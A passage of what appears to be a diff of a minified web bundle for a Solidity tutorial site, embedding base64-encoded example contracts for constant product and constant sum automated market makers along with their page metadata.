SwgX2Ftb3VudDApOwogICAgICAgIHRva2VuMS50cmFuc2ZlckZyb20obXNnLnNlbmRlciwgYWRkcmVzcyh0aGlzKSwgX2Ftb3VudDEpOwoKICAgICAgICAvKgogICAgICAgIEhvdyBtdWNoIGR4LCBkeSB0byBhZGQ/CgogICAgICAgIHh5ID0gawogICAgICAgICh4ICsgZHgpKHkgKyBkeSkgPSBrJwoKICAgICAgICBObyBwcmljZSBjaGFuZ2UsIGJlZm9yZSBhbmQgYWZ0ZXIgYWRkaW5nIGxpcXVpZGl0eQogICAgICAgIHggLyB5ID0gKHggKyBkeCkgLyAoeSArIGR5KQoKICAgICAgICB4KHkgKyBkeSkgPSB5KHggKyBkeCkKICAgICAgICB4ICogZHkgPSB5ICogZHgKCiAgICAgICAgeCAvIHkgPSBkeCAvIGR5CiAgICAgICAgZHkgPSB5IC8geCAqIGR4CiAgICAgICAgKi8KICAgICAgICBpZiAocmVzZXJ2ZTAgPiAwIHx8IHJlc2VydmUxID4gMCkgewogICAgICAgICAgICByZXF1aXJlKAogICAgICAgICAgICAgICAgcmVzZXJ2ZTAgKiBfYW1vdW50MSA9PSByZXNlcnZlMSAqIF9hbW91bnQwLCAieCAvIHkgIT0gZHggLyBkeSIKICAgICAgICAgICAgKTsKICAgICAgICB9CgogICAgICAgIC8qCiAgICAgICAgSG93IG11Y2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3FydCh4XjJ5KQogICAgICAgICAgICAgICAgICAgPSAoc3FydCh5KShzcXJ0KHheMiArIDJ4ZHggKyBkeF4yKSAtIHNxcnQoeF4yKSkgLyAoc3FydCh5KXNxcnQoeF4yKSkKICAgICAgICAKICAgICAgICBzcXJ0KHkpIG9uIHRvcCBhbmQgYm90dG9tIGNhbmNlbHMgb3V0CgogICAgICAgIC0tLSBFcXVhdGlvbiAzIC0tLQogICAgICAgIEVxdWF0aW9uIDIgPSAoc3FydCh4XjIgKyAyeGR4ICsgZHheMikgLSBzcXJ0KHheMikpIC8gKHNxcnQoeF4yKQogICAgICAgID0gKHNxcnQoKHggKyBkeCleMikgLSBzcXJ0KHheMikpIC8gc3FydCh4XjIpICAKICAgICAgICA9ICgoeCArIGR4KSAtIHgpIC8geAogICAgICAgID0gZHggLyB4CgogICAgICAgIFNpbmNlIGR4IC8gZHkgPSB4IC8geSwKICAgICAgICBkeCAvIHggPSBkeSAvIHkKCiAgICAgICAgRmluYWxseQogICAgICAgIChMMSAtIEwwKSAvIEwwID0gZHggLyB4ID0gZHkgLyB5CiAgICAgICAgKi8KICAgICAgICBpZiAodG90YWxTdXBwbHkgPT0gMCkgewogICAgICAgICAgICBzaGFyZXMgPSBfc3FydChfYW1vdW50MCAqIF9hbW91bnQxKTsKICAgICAgICB9IGVsc2UgewogICAgICAgICAgICBzaGFyZXMgPSBfbWluKAogICAgICAgICAgICAgICAgKF9hbW91bnQwICogdG90YWxTdXBwbHkpIC8gcmVzZXJ2ZTAsCiAgICAgICAgICAgICAgICAoX2Ftb3VudDEgKiB0b3RhbFN1cHBseSkgLyByZXNlcnZlMQogICAgICAgICAgICApOwogICAgICAgIH0KICAgICAgICByZXF1aXJlKHNoYXJlcyA+IDAsICJzaGFyZXMgPSAwIik7CiAgICAgICAgX21pbnQobXNnLnNlbmRlciwgc2hhcmVzKTsKCiAgICAgICAgX3VwZGF0ZSgKICAgICAgICAgICAgdG9rZW4wLmJhbGFuY2VPZihhZGRyZXNzK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iAgICAgICAgZHggPSBzIC8gVCAqIHNxcnQoeHkpIC8gc3FydCh5IC8geCkKICAgICAgICAgICA9IHMgLyBUICogc3FydCh4XjIpID0gcyAvIFQgKiB4CgogICAgICAgIExpa2V3aXNlCiAgICAgICAgZHkgPSBzIC8gVCAqIHkKICAgICAgICAqLwoKICAgICAgICAvLyBiYWwwID49IHJlc2VydmUwCiAgICAgICAgLy8gYmFsMSA+PSByZXNlcnZlMQogICAgICAgIHVpbnQyNTYgYmFsMCA9IHRva2VuMC5iYWxhbmNlT2YoYWRkcmVzcyh0aGlzKSk7CiAgICAgICAgdWludDI1NiBiYWwxID0gdG9rZW4xLmJhbGFuY2VPZihhZGRyZXNzKHRoaXMpKTsKCiAgICAgICAgYW1vdW50MCA9IChfc2hhcmVzICogYmFsMCkgLyB0b3RhbFN1cHBseTsKICAgICAgICBhbW91bnQxID0gKF9zaGFyZXMgKiBiYWwxKSAvIHRvdGFsU3VwcGx5OwogICAgICAgIHJlcXVpcmUoYW1vdW50MCA+IDAgJiYgYW1vdW50MSA+IDAsICJhbW91bnQwIG9yIGFtb3VudDEgPSAwIik7CgogICAgICAgIF9idXJuKG1zZy5zZW5kZXIsIF9zaGFyZXMpOwogICAgICAgIF91cGRhdGUoYmFsMCAtIGFtb3VudDAsIGJhbDEgLSBhbW91bnQxKTsKCiAgICAgICAgdG9rZW4wLnRyYW5zZmVyKG1zZy5zZW5kZXIsIGFtb3VudDApOwogICAgICAgIHRva2VuMS50cmFuc2Zlcihtc2cuc2VuZGVyLCBhbW91bnQxKTsKICAgIH0KCiAgICBmdW5jdGlvbiBfc3FydCh1aW50MjU2IHkpIHByaXZhdGUgcHVyZSByZXR1cm5zICh1aW50MjU2IHopIHsKICAgICAgICBpZiAoeSA+IDMpIHsKICAgICAgICAgICAgeiA9IHk7CiAgICAgICAgICAgIHVpbnQyNTYgeCA9IHkgLyAyICsgMTsKICAgICAgICAgICAgd2hpbGUgKHggPCB6KSB7CiAgICAgICAgICAgICAgICB6ID0geDsKICAgICAgICAgICAgICAgIHggPSAoeSAvIHggKyB4KSAvIDI7CiAgICAgICAgICAgIH0KICAgICAgICB9IGVsc2UgaWYgKHkgIT0gMCkgewogICAgICAgICAgICB6ID0gMTsKICAgICAgICB9CiAgICB9CgogICAgZnVuY3Rpb24gX21pbih1aW50MjU2IHgsIHVpbnQyNTYgeSkgcHJpdmF0ZSBwdXJlIHJldHVybnMgKHVpbnQyNTYpIHsKICAgICAgICByZXR1cm4geCA8PSB5ID8geCA6IHk7CiAgICB9Cn0KCmludGVyZmFjZSBJRVJDMjAgewogICAgZnVuY3Rpb24gdG90YWxTdXBwbHkoKSBleHRlcm5hbCB2aWV3IHJldHVybnMgKHVpbnQyNTYpOwogICAgZnVuY3Rpb24gYmFsYW5jZU9mKGFkZHJlc3MgYWNjb3VudCkgZXh0ZXJuYWwgdmlldyByZXR1cm5zICh1aW50MjU2KTsKICAgIGZ1bmN0aW9uIHRyYW5zZmVyKGFkZHJlc3MgcmVjaXBpZW50LCB1aW50MjU2IGFtb3VudCkKICAgICAgICBleHRlcm5hbAogICAgICAgIHJldHVybnMgKGJvb2wpOwogICAgZnVuY3Rpb24gYWxsb3dhbmNlKGFkZHJlc3Mgb3duZXIsIGFkZHJlc3Mgc3BlbmRlcikKICAgICAgICBleHRlcm5hbAogICAgICAgIHZpZXcKICAgICAgICByZXR1cm5zICh1aW50MjU2KTsKICAgIGZ1bmN0aW9uIGFwcHJvdmUoYWRkcmVzcyBzcGVuZGVyLCB1aW50MjU2IGFtb3VudCkgZXh0ZXJuYWwgcmV0dXJucyAoYm9vbCk7CiAgICBmdW5jdGlvbiB0cmFuc2ZlckZyb20oYWRkcmVzcyBzZW5kZXIsIGFkZHJlc3MgcmVjaXBpZW50LCB1aW50MjU2IGFtb3VudCkKICAgICAgICBleHRlcm5hbAogICAgICAgIHJldHVybnMgKGJvb2wpOwp9Cg=="}],Pm=`

          Constant product AMM XY = K

          +`,Qm=({prev:s,next:a})=>r.jsx(A,{version:Sm,title:xm,description:Jm,cyfrinLink:zm,html:Em,prev:s,next:a,codes:Dm}),Tm="0.8.26",Lm="Constant Product AMM",Um="Constant product AMM",_m="",Om=[{fileName:"CPAMM.sol",code:"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yNjsKCmNvbnRyYWN0IENQQU1NIHsKICAgIElFUkMyMCBwdWJsaWMgaW1tdXRhYmxlIHRva2VuMDsKICAgIElFUkMyMCBwdWJsaWMgaW1tdXRhYmxlIHRva2VuMTsKCiAgICB1aW50MjU2IHB1YmxpYyByZXNlcnZlMDsKICAgIHVpbnQyNTYgcHVibGljIHJlc2VydmUxOwoKICAgIHVpbnQyNTYgcHVibGljIHRvdGFsU3VwcGx5OwogICAgbWFwcGluZyhhZGRyZXNzID0+IHVpbnQyNTYpIHB1YmxpYyBiYWxhbmNlT2Y7CgogICAgY29uc3RydWN0b3IoYWRkcmVzcyBfdG9rZW4wLCBhZGRyZXNzIF90b2tlbjEpIHsKICAgICAgICB0b2tlbjAgPSBJRVJDMjAoX3Rva2VuMCk7CiAgICAgICAgdG9rZW4xID0gSUVSQzIwKF90b2tlbjEpOwogICAgfQoKICAgIGZ1bmN0aW9uIF9taW50KGFkZHJlc3MgX3RvLCB1aW50MjU2IF9hbW91bnQpIHByaXZhdGUgewogICAgICAgIGJhbGFuY2VPZltfdG9dICs9IF9hbW91bnQ7CiAgICAgICAgdG90YWxTdXBwbHkgKz0gX2Ftb3VudDsKICAgIH0KCiAgICBmdW5jdGlvbiBfYnVybihhZGRyZXNzIF9mcm9tLCB1aW50MjU2IF9hbW91bnQpIHByaXZhdGUgewogICAgICAgIGJhbGFuY2VPZltfZnJvbV0gLT0gX2Ftb3VudDsKICAgICAgICB0b3RhbFN1cHBseSAtPSBfYW1vdW50OwogICAgfQoKICAgIGZ1bmN0aW9uIF91cGRhdGUodWludDI1NiBfcmVzZXJ2ZTAsIHVpbnQyNTYgX3Jlc2Vydm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AgICAgICAgeSAtIHh5IC8gKHggKyBkeCkgPSBkeQogICAgICAgICh5eCArIHlkeCAtIHh5KSAvICh4ICsgZHgpID0gZHkKICAgICAgICB5ZHggLyAoeCArIGR4KSA9IGR5CiAgICAgICAgKi8KICAgICAgICAvLyAwLjMlIGZlZQogICAgICAgIHVpbnQyNTYgYW1vdW50SW5XaXRoRmVlID0gKF9hbW91bnRJbiAqIDk5NykgLyAxMDAwOwogICAgICAgIGFtb3VudE91dCA9CiAgICAgICAgICAgIChyZXNlcnZlT3V0ICogYW1vdW50SW5XaXRoRmVlKSAvIChyZXNlcnZlSW4gKyBhbW91bnRJbldpdGhGZWUpOwoKICAgICAgICB0b2tlbk91dC50cmFuc2Zlcihtc2cuc2VuZGVyLCBhbW91bnRPdXQpOwoKICAgICAgICBfdXBkYXRlKAogICAgICAgICAgICB0b2tlbjAuYmFsYW5jZU9mKGFkZHJlc3ModGhpcykpLCB0b2tlbjEuYmFsYW5jZU9mKGFkZHJlc3ModGhpcykpCiAgICAgICAgKTsKICAgIH0KCiAgICBmdW5jdGlvbiBhZGRMaXF1aWRpdHkodWludDI1NiBfYW1vdW50MCwgdWludDI1NiBfYW1vdW50MSkKICAgICAgICBleHRlcm5hbAogICAgICAgIHJldHVybnMgKHVpbnQyNTYgc2hhcmVzKQogICAgewogICAgICAgIHRva2VuMC50cmFuc2ZlckZyb20obXNnLnNlbmRlciwgYWRkcmVzcyh0aGlzKSwgX2Ftb3VudDApOwogICAgICAgIHRva2VuMS50cmFuc2ZlckZyb20obXNnLnNlbmRlciwgYWRkcmVzcyh0aGlzKSwgX2Ftb3VudDEpOwoKICAgICAgICAvKgogICAgICAgIEhvdyBtdWNoIGR4LCBkeSB0byBhZGQ/CgogICAgICAgIHh5ID0gawogICAgICAgICh4ICsgZHgpKHkgKyBkeSkgPSBrJwoKICAgICAgICBObyBwcmljZSBjaGFuZ2UsIGJlZm9yZSBhbmQgYWZ0ZXIgYWRkaW5nIGxpcXVpZGl0eQogICAgICAgIHggLyB5ID0gKHggKyBkeCkgLyAoeSArIGR5KQoKICAgICAgICB4KHkgKyBkeSkgPSB5KHggKyBkeCkKICAgICAgICB4ICogZHkgPSB5ICogZHgKCiAgICAgICAgeCAvIHkgPSBkeCAvIGR5CiAgICAgICAgZHkgPSB5IC8geCAqIGR4CiAgICAgICAgKi8KICAgICAgICBpZiAocmVzZXJ2ZTAgPiAwIHx8IHJlc2VydmUxID4gMCkgewogICAgICAgICAgICByZXF1aXJlKAogICAgICAgICAgICAgICAgcmVzZXJ2ZTAgKiBfYW1vdW50MSA9PSByZXNlcnZlMSAqIF9hbW91bnQwLCAieCAvIHkgIT0gZHggLyBkeSIKICAgICAgICAgICAgKTsKICAgICAgICB9CgogICAgICAgIC8qCiAgICAgICAgSG93IG11Y2ggc2hhcmVzIHRvIG1pbnQ/CgogICAgICAgIGYoeCwgeSkgPSB2YWx1ZSBvZiBsaXF1aWRpdHkKICAgICAgICBXZSB3aWxsIGRlZmluZSBmKHgsIHkpID0gc3FydCh4eSkKCiAgICAgICAgTDAgPSBmKHgsIHkpCiAgICAgICAgTDEgPSBmKHggKyBkeCwgeSArIGR5KQogICAgICAgIFQgPSB0b3RhbCBzaGFyZXMKICAgICAgICBzID0gc2hhcmVzIHRvIG1pbnQKCiAgICAgICAgVG90YWwgc2hhcmVzIHNob3VsZCBpbmNyZWFzZSBwcm9wb3J0aW9uYWwgdG8gaW5jcmVhc2UgaW4gbGlxdWlkaXR5CiAgICAgICAgTDEgLyBMMCA9IChUICsgcykgLyBUCgogICAgICAgIEwxICogVCA9IEwwICogKFQgKyBzKQoKICAgICAgICAoTDEgLSBMMCkgKiBUIC8gTDAgPSBzIAogICAgICAgICovCgogICAgICAgIC8qCiAgICAgICAgQ2xhaW0KICAgICAgICAoTDEgLSBMMCkgLyBMMCA9IGR4IC8geCA9IGR5IC8geQoKICAgICAgICBQcm9vZgogICAgICAgIC0tLSBFcXVhdGlvbiAxIC0tLQogICAgICAgIChMMSAtIEwwKSAvIEwwID0gKHNxcnQoKHggKyBkeCkoeSArIGR5KSkgLSBzcXJ0KHh5KSkgLyBzcXJ0KHh5KQogICAgICAgIAogICAgICAgIGR4IC8gZHkgPSB4IC8geSBzbyByZXBsYWNlIGR5ID0gZHggKiB5IC8geAoKICAgICAgICAtLS0gRXF1YXRpb24gMiAtLS0KICAgICAgICBFcXVhdGlvbiAxID0gKHNxcnQoeHkgKyAyeWR4ICsgZHheMiAqIHkgLyB4KSAtIHNxcnQoeHkpKSAvIHNxcnQoeHkpCgogICAgICAgIE11bHRpcGx5IGJ5IHNxcnQoeCkgLyBzcXJ0KHgpCiAgICAgICAgRXF1YXRpb24gMiA9IChzcXJ0KHheMnkgKyAyeHlkeCArIGR4XjIgKiB5KSAtIHNxcnQoeF4yeSkpIC8gc3FydCh4XjJ5KQogICAgICAgICAgICAgICAgICAgPSAoc3FydCh5KShzcXJ0KHheMiArIDJ4ZHggKyBkeF4yKSAtIHNxcnQoeF4yKSkgLyAoc3FydCh5KXNxcnQoeF4yKSkKICAgICAgICAKICAgICAgICBzcXJ0KHkpIG9uIHRvcCBhbmQgYm90dG9tIGNhbmNlbHMgb3V0CgogICAgICAgIC0tLSBFcXVhdGlvbiAzIC0tLQogICAgICAgIEVxdWF0aW9uIDIgPSAoc3FydCh4XjIgKyAyeGR4ICsgZHheMikgLSBzcXJ0KHheMikpIC8gKHNxcnQoeF4yKQogICAgICAgID0gKHNxcnQoKHggKyBkeCleMikgLSBzcXJ0KHheMikpIC8gc3FydCh4XjIpICAKICAgICAgICA9ICgoeCArIGR4KSAtIHgpIC8geAogICAgICAgID0gZHggLyB4CgogICAgICAgIFNpbmNlIGR4IC8gZHkgPSB4IC8geSwKICAgICAgICBkeCAvIHggPSBkeSAvIHkKCiAgICAgICAgRmluYWxseQogICAgICAgIChMMSAtIEwwKSAvIEwwID0gZHggLyB4ID0gZHkgLyB5CiAgICAgICAgKi8KICAgICAgICBpZiAodG90YWxTdXBwbHkgPT0gMCkgewogICAgICAgICAgICBzaGFyZXMgPSBfc3FydChfYW1vdW50MCAqIF9hbW91bnQxKTsKICAgICAgICB9IGVsc2UgewogICAgICAgICAgICBzaGFyZXMgPSBfbWluKAogICAgICAgICAgICAgICAgKF9hbW91bnQwICogdG90YWxTdXBwbHkpIC8gcmVzZXJ2ZTAsCiAgICAgICAgICAgICAgICAoX2Ftb3VudDEgKiB0b3RhbFN1cHBseSkgLyByZXNlcnZlMQogICAgICAgICAgICApOwogICAgICAgIH0KICAgICAgICByZXF1aXJlKHNoYXJlcyA+IDAsICJzaGFyZXMgPSAwIik7CiAgICAgICAgX21pbnQobXNnLnNlbmRlciwgc2hhcmVzKTsKCiAgICAgICAgX3VwZGF0ZSgKICAgICAgICAgICAgdG9rZW4wLmJhbGFuY2VPZihhZGRyZXNzKHRoaXMpKSwgdG9rZW4xLmJhbGFuY2VPZihhZGRyZXNzKHRoaXMpKQogICAgICAgICk7CiAgICB9CgogICAgZnVuY3Rpb24gcmVtb3ZlTGlxdWlkaXR5KHVpbnQyNTYgX3NoYXJlcykKICAgICAgICBleHRlcm5hbAogICAgICAgIHJldHVybnMgKHVpbnQyNTYgYW1vdW50MCwgdWludDI1NiBhbW91bnQxKQogICAgewogICAgICAgIC8qCiAgICAgICAgQ2xhaW0KICAgICAgICBkeCwgZHkgPSBhbW91bnQgb2YgbGlxdWlkaXR5IHRvIHJlbW92ZQogICAgICAgIGR4ID0gcyAvIFQgKiB4CiAgICAgICAgZHkgPSBzIC8gVCAqIHkKCiAgICAgICAgUHJvb2YKICAgICAgICBMZXQncyBmaW5kIGR4LCBkeSBzdWNoIHRoYXQKICAgICAgICB2IC8gTCA9IHMgLyBUCiAgICAgICAgCiAgICAgICAgd2hlcmUKICAgICAgICB2ID0gZihkeCwgZHkpID0gc3FydChkeGR5KQogICAgICAgIEwgPSB0b3RhbCBsaXF1aWRpdHkgPSBzcXJ0KHh5KQogICAgICAgIHMgPSBzaGFyZXMKICAgICAgICBUID0gdG90YWwgc3VwcGx5CgogICAgICA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pOwogICAgICAgIF91cGRhdGUoYmFsMCAtIGFtb3VudDAsIGJhbDEgLSBhbW91bnQxKTsKCiAgICAgICAgdG9rZW4wLnRyYW5zZmVyKG1zZy5zZW5kZXIsIGFtb3VudDApOwogICAgICAgIHRva2VuMS50cmFuc2Zlcihtc2cuc2VuZGVyLCBhbW91bnQxKTsKICAgIH0KCiAgICBmdW5jdGlvbiBfc3FydCh1aW50MjU2IHkpIHByaXZhdGUgcHVyZSByZXR1cm5zICh1aW50MjU2IHopIHsKICAgICAgICBpZiAoeSA+IDMpIHsKICAgICAgICAgICAgeiA9IHk7CiAgICAgICAgICAgIHVpbnQyNTYgeCA9IHkgLyAyICsgMTsKICAgICAgICAgICAgd2hpbGUgKHggPCB6KSB7CiAgICAgICAgICAgICAgICB6ID0geDsKICAgICAgICAgICAgICAgIHggPSAoeSAvIHggKyB4KSAvIDI7CiAgICAgICAgICAgIH0KICAgICAgICB9IGVsc2UgaWYgKHkgIT0gMCkgewogICAgICAgICAgICB6ID0gMTsKICAgICAgICB9CiAgICB9CgogICAgZnVuY3Rpb24gX21pbih1aW50MjU2IHgsIHVpbnQyNTYgeSkgcHJpdmF0ZSBwdXJlIHJldHVybnMgKHVpbnQyNTYpIHsKICAgICAgICByZXR1cm4geCA8PSB5ID8geCA6IHk7CiAgICB9Cn0KCmludGVyZmFjZSBJRVJDMjAgewogICAgZnVuY3Rpb24gdG90YWxTdXBwbHkoKSBleHRlcm5hbCB2aWV3IHJldHVybnMgKHVpbnQyNTYpOwogICAgZnVuY3Rpb24gYmFsYW5jZU9mKGFkZHJlc3MgYWNjb3VudCkgZXh0ZXJuYWwgdmlldyByZXR1cm5zICh1aW50MjU2KTsKICAgIGZ1bmN0aW9uIHRyYW5zZmVyKGFkZHJlc3MgcmVjaXBpZW50LCB1aW50MjU2IGFtb3VudCkKICAgICAgICBleHRlcm5hbAogICAgICAgIHJldHVybnMgKGJvb2wpOwogICAgZnVuY3Rpb24gYWxsb3dhbmNlKGFkZHJlc3Mgb3duZXIsIGFkZHJlc3Mgc3BlbmRlcikKICAgICAgICBleHRlcm5hbAogICAgICAgIHZpZXcKICAgICAgICByZXR1cm5zICh1aW50MjU2KTsKICAgIGZ1bmN0aW9uIGFwcHJvdmUoYWRkcmVzcyBzcGVuZGVyLCB1aW50MjU2IGFtb3VudCkgZXh0ZXJuYWwgcmV0dXJucyAoYm9vbCk7CiAgICBmdW5jdGlvbiB0cmFuc2ZlckZyb20oYWRkcmVzcyBzZW5kZXIsIGFkZHJlc3MgcmVjaXBpZW50LCB1aW50MjU2IGFtb3VudCkKICAgICAgICBleHRlcm5hbAogICAgICAgIHJldHVybnMgKGJvb2wpOwp9Cg=="}],Pm=`

          Constant product AMM XY = K

          // SPDX-License-Identifier: MIT
           pragma solidity ^0.8.26;
           
          @@ -4467,7 +4467,7 @@ specify the location of the data.

          external returns (bool); } -
          `,$m=({prev:s,next:a})=>r.jsx(A,{version:Tm,title:Um,description:Lm,cyfrinLink:_m,html:Pm,prev:s,next:a,codes:Om}),qm="0.8.26",sb="Constant Sum AMM",ab="Constant sum AMM",nb="",lb=[{fileName:"CSAMM.sol",code:"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yNjsKCmNvbnRyYWN0IENTQU1NIHsKICAgIElFUkMyMCBwdWJsaWMgaW1tdXRhYmxlIHRva2VuMDsKICAgIElFUkMyMCBwdWJsaWMgaW1tdXRhYmxlIHRva2VuMTsKCiAgICB1aW50MjU2IHB1YmxpYyByZXNlcnZlMDsKICAgIHVpbnQyNTYgcHVibGljIHJlc2VydmUxOwoKICAgIHVpbnQyNTYgcHVibGljIHRvdGFsU3VwcGx5OwogICAgbWFwcGluZyhhZGRyZXNzID0+IHVpbnQyNTYpIHB1YmxpYyBiYWxhbmNlT2Y7CgogICAgY29uc3RydWN0b3IoYWRkcmVzcyBfdG9rZW4wLCBhZGRyZXNzIF90b2tlbjEpIHsKICAgICAgICAvLyBO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TsKCiAgICAgICAgKElFUkMyMCB0b2tlbkluLCBJRVJDMjAgdG9rZW5PdXQsIHVpbnQyNTYgcmVzSW4sIHVpbnQyNTYgcmVzT3V0KSA9CiAgICAgICAgaXNUb2tlbjAKICAgICAgICAgICAgPyAodG9rZW4wLCB0b2tlbjEsIHJlc2VydmUwLCByZXNlcnZlMSkKICAgICAgICAgICAgOiAodG9rZW4xLCB0b2tlbjAsIHJlc2VydmUxLCByZXNlcnZlMCk7CgogICAgICAgIHRva2VuSW4udHJhbnNmZXJGcm9tKG1zZy5zZW5kZXIsIGFkZHJlc3ModGhpcyksIF9hbW91bnRJbik7CiAgICAgICAgdWludDI1NiBhbW91bnRJbiA9IHRva2VuSW4uYmFsYW5jZU9mKGFkZHJlc3ModGhpcykpIC0gcmVzSW47CgogICAgICAgIC8vIDAuMyUgZmVlCiAgICAgICAgYW1vdW50T3V0ID0gKGFtb3VudEluICogOTk3KSAvIDEwMDA7CgogICAgICAgICh1aW50MjU2IHJlczAsIHVpbnQyNTYgcmVzMSkgPSBpc1Rva2VuMAogICAgICAgICAgICA/IChyZXNJbiArIGFtb3VudEluLCByZXNPdXQgLSBhbW91bnRPdXQpCiAgICAgICAgICAgIDogKHJlc091dCAtIGFtb3VudE91dCwgcmVzSW4gKyBhbW91bnRJbik7CgogICAgICAgIF91cGRhdGUocmVzMCwgcmVzMSk7CiAgICAgICAgdG9rZW5PdXQudHJhbnNmZXIobXNnLnNlbmRlciwgYW1vdW50T3V0KTsKICAgIH0KCiAgICBmdW5jdGlvbiBhZGRMaXF1aWRpdHkodWludDI1NiBfYW1vdW50MCwgdWludDI1NiBfYW1vdW50MSkKICAgICAgICBleHRlcm5hbAogICAgICAgIHJldHVybnMgKHVpbnQyNTYgc2hhcmVzKQogICAgewogICAgICAgIHRva2VuMC50cmFuc2ZlckZyb20obXNnLnNlbmRlciwgYWRkcmVzcyh0aGlzKSwgX2Ftb3VudDApOwogICAgICAgIHRva2VuMS50cmFuc2ZlckZyb20obXNnLnNlbmRlciwgYWRkcmVzcyh0aGlzKSwgX2Ftb3VudDEpOwoKICAgICAgICB1aW50MjU2IGJhbDAgPSB0b2tlbjAuYmFsYW5jZU9mKGFkZHJlc3ModGhpcykpOwogICAgICAgIHVpbnQyNTYgYmFsMSA9IHRva2VuMS5iYWxhbmNlT2YoYWRkcmVzcyh0aGlzKSk7CgogICAgICAgIHVpbnQyNTYgZDAgPSBiYWwwIC0gcmVzZXJ2ZTA7CiAgICAgICAgdWludDI1NiBkMSA9IGJhbDEgLSByZXNlcnZlMTsKCiAgICAgICAgLyoKICAgICAgICBhID0gYW1vdW50IGluCiAgICAgICAgTCA9IHRvdGFsIGxpcXVpZGl0eQogICAgICAgIHMgPSBzaGFyZXMgdG8gbWludAogICAgICAgIFQgPSB0b3RhbCBzdXBwbHkKCiAgICAgICAgcyBzaG91bGQgYmUgcHJvcG9ydGlvbmFsIHRvIGluY3JlYXNlIGZyb20gTCB0byBMICsgYQogICAgICAgIChMICsgYSkgLyBMID0gKFQgKyBzKSAvIFQKCiAgICAgICAgcyA9IGEgKiBUIC8gTAogICAgICAgICovCiAgICAgICAgaWYgKHRvdGFsU3VwcGx5ID4gMCkgewogICAgICAgICAgICBzaGFyZXMgPSAoKGQwICsgZDEpICogdG90YWxTdXBwbHkpIC8gKHJlc2VydmUwICsgcmVzZXJ2ZTEpOwogICAgICAgIH0gZWxzZSB7CiAgICAgICAgICAgIHNoYXJlcyA9IGQwICsgZDE7CiAgICAgICAgfQoKICAgICAgICByZXF1aXJlKHNoYXJlcyA+IDAsICJzaGFyZXMgPSAwIik7CiAgICAgICAgX21pbnQobXNnLnNlbmRlciwgc2hhcmVzKTsKCiAgICAgICAgX3VwZGF0ZShiYWwwLCBiYWwxKTsKICAgIH0KCiAgICBmdW5jdGlvbiByZW1vdmVMaXF1aWRpdHkodWludDI1NiBfc2hhcmVzKQogICAgICAgIGV4dGVybmFsCiAgICAgICAgcmV0dXJucyAodWludDI1NiBkMCwgdWludDI1NiBkMSkKICAgIHsKICAgICAgICAvKgogICAgICAgIGEgPSBhbW91bnQgb3V0CiAgICAgICAgTCA9IHRvdGFsIGxpcXVpZGl0eQogICAgICAgIHMgPSBzaGFyZXMKICAgICAgICBUID0gdG90YWwgc3VwcGx5CgogICAgICAgIGEgLyBMID0gcyAvIFQKCiAgICAgICAgYSA9IEwgKiBzIC8gVAogICAgICAgICAgPSAocmVzZXJ2ZTAgKyByZXNlcnZlMSkgKiBzIC8gVAogICAgICAgICovCiAgICAgICAgZDAgPSAocmVzZXJ2ZTAgKiBfc2hhcmVzKSAvIHRvdGFsU3VwcGx5OwogICAgICAgIGQxID0gKHJlc2VydmUxICogX3NoYXJlcykgLyB0b3RhbFN1cHBseTsKCiAgICAgICAgX2J1cm4obXNnLnNlbmRlciwgX3NoYXJlcyk7CiAgICAgICAgX3VwZGF0ZShyZXNlcnZlMCAtIGQwLCByZXNlcnZlMSAtIGQxKTsKCiAgICAgICAgaWYgKGQwID4gMCkgewogICAgICAgICAgICB0b2tlbjAudHJhbnNmZXIobXNnLnNlbmRlciwgZDApOwogICAgICAgIH0KICAgICAgICBpZiAoZDEgPiAwKSB7CiAgICAgICAgICAgIHRva2VuMS50cmFuc2Zlcihtc2cuc2VuZGVyLCBkMSk7CiAgICAgICAgfQogICAgfQp9CgppbnRlcmZhY2UgSUVSQzIwIHsKICAgIGZ1bmN0aW9uIHRvdGFsU3VwcGx5KCkgZXh0ZXJuYWwgdmlldyByZXR1cm5zICh1aW50MjU2KTsKICAgIGZ1bmN0aW9uIGJhbGFuY2VPZihhZGRyZXNzIGFjY291bnQpIGV4dGVybmFsIHZpZXcgcmV0dXJucyAodWludDI1Nik7CiAgICBmdW5jdGlvbiB0cmFuc2ZlcihhZGRyZXNzIHJlY2lwaWVudCwgdWludDI1NiBhbW91bnQpCiAgICAgICAgZXh0ZXJuYWwKICAgICAgICByZXR1cm5zIChib29sKTsKICAgIGZ1bmN0aW9uIGFsbG93YW5jZShhZGRyZXNzIG93bmVyLCBhZGRyZXNzIHNwZW5kZXIpCiAgICAgICAgZXh0ZXJuYWwKICAgICAgICB2aWV3CiAgICAgICAgcmV0dXJucyAodWludDI1Nik7CiAgICBmdW5jdGlvbiBhcHByb3ZlKGFkZHJlc3Mgc3BlbmRlciwgdWludDI1NiBhbW91bnQpIGV4dGVybmFsIHJldHVybnMgKGJvb2wpOwogICAgZnVuY3Rpb24gdHJhbnNmZXJGcm9tKGFkZHJlc3Mgc2VuZGVyLCBhZGRyZXNzIHJlY2lwaWVudCwgdWludDI1NiBhbW91bnQpCiAgICAgICAgZXh0ZXJuYWwKICAgICAgICByZXR1cm5zIChib29sKTsKfQo="}],pb=`

          Constant sum AMM X + Y = K

          +`,$m=({prev:s,next:a})=>r.jsx(A,{version:Tm,title:Lm,description:Um,cyfrinLink:_m,html:Pm,prev:s,next:a,codes:Om}),qm="0.8.26",sb="Constant Sum AMM",ab="Constant sum AMM",nb="",lb=[{fileName:"CSAMM.sol",code:"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yNjsKCmNvbnRyYWN0IENTQU1NIHsKICAgIElFUkMyMCBwdWJsaWMgaW1tdXRhYmxlIHRva2VuMDsKICAgIElFUkMyMCBwdWJsaWMgaW1tdXRhYmxlIHRva2VuMTsKCiAgICB1aW50MjU2IHB1YmxpYyByZXNlcnZlMDsKICAgIHVpbnQyNTYgcHVibGljIHJlc2VydmUxOwoKICAgIHVpbnQyNTYgcHVibGljIHRvdGFsU3VwcGx5OwogICAgbWFwcGluZyhhZGRyZXNzID0+IHVpbnQyNTYpIHB1YmxpYyBiYWxhbmNlT2Y7CgogICAgY29uc3RydWN0b3IoYWRkcmVzcyBfdG9rZW4wLCBhZGRyZXNzIF90b2tlbjEpIHsKICAgICAgICAvLyBOT1RFOiBUaGlzIGNvbnRyYWN0IGFzc3VtZXMgdGhhdCB0b2tlbjAgYW5kIH